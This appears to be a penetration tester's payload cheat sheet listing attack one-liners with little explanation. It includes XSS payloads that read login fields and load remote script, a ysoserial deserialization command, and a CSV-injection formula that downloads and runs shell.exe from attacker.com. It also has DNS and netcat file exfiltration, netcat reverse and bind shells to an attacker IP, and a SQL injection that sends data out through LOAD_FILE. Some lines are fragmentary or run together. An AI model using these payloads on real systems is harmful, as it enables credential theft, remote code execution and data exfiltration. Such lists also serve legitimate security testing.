[Payloads] Cross Site Scripting Attack
$.get("https://localhost/"+document.getElementsByName('username')[2].value+document.getElementsByName('password')[3].value,0);
Mainly useful when payload size is very restrictive
$.getScript(String.fromCharCode(104,116,116,112,58,47,47,120,115,115,47,116,46,106,115),1)
[Payloads] Deserialization Attacks
.exec()
problem in Blind Java Deserializationjava -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).<attacker.com>' | base64 | tr -d "\n"
[Payloads] CSV Injection Out of band Exploitation
=cmd|' /C powershell Invoke-WebRequest "https://attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
DNS Exfiltration
for i in `ls`; do host $i.domain.com domain.com;done
tcpdump -vvv -s 0 -l -n dst host domain.com and dst port 53 -w dump
tcpdump -r dump|cut -d"?" -f2|awk 'split($0,a,".domain"){print a[1]}'|sort -u
Reverse and Bind shells
/usr/bin/mknod /tmp/bp p;/bin/nc <attacker_ip> 1337 0</tmp/bp | /bin/sh 1>/tmp/bp
/usr/bin/mkfifo /tmp/mf;/bin/nc <attacker_ip> 1337 < /tmp/mf | /bin/sh &>/tmp/mf
/usr/bin/mkfifo /tmp/bmf;nc -lk 1337 0< /tmp/bmf | /bin/sh &>/tmp/bmf
Debugging Servers
python -m smtpd -n -c DebuggingServer localhost:25
strings -a -t x /lib/libc-2.11.2.so |grep "/bin/sh"
objdump -d -M intel ./<binary.elf>|grep -B5 "ret"
readelf -lS ./<binary.elf>
objdump -R ./binary.elf
readelf -h ./binary.elf
readelf -e ./binary.elf
find . -type f -iname "*.so" -executable -exec echo -e "\r\n" \; -exec file {} \;
nm -an <binary_name>
find . -type f -iname "*.so" -exec echo {} \; -exec gdb -q --batch -ex checksec -ex quit {} \;
find . -type f -iname "*.so" -exec echo {} \; -exec readelf -l {} \; | grep -i -A1 GNU_STACK
find . -type f -executable -exec echo {} \; -exec sh -c "rabin2 -I {} |grep --color -E \"nx|pic|canary|relocs|stripped\"" \;
Important Links
12,13) union select LOAD_FILE(group_concat(0x2f2f2f2f,(select @@version_compile_os),0x2e61747461636b65722e636f6d2f2f6d7973716c5f65787472616374)),2 --
tar -cf - <dir>|nc <attacker_ip> <port>
nc -lnvp <port> |tar -xf -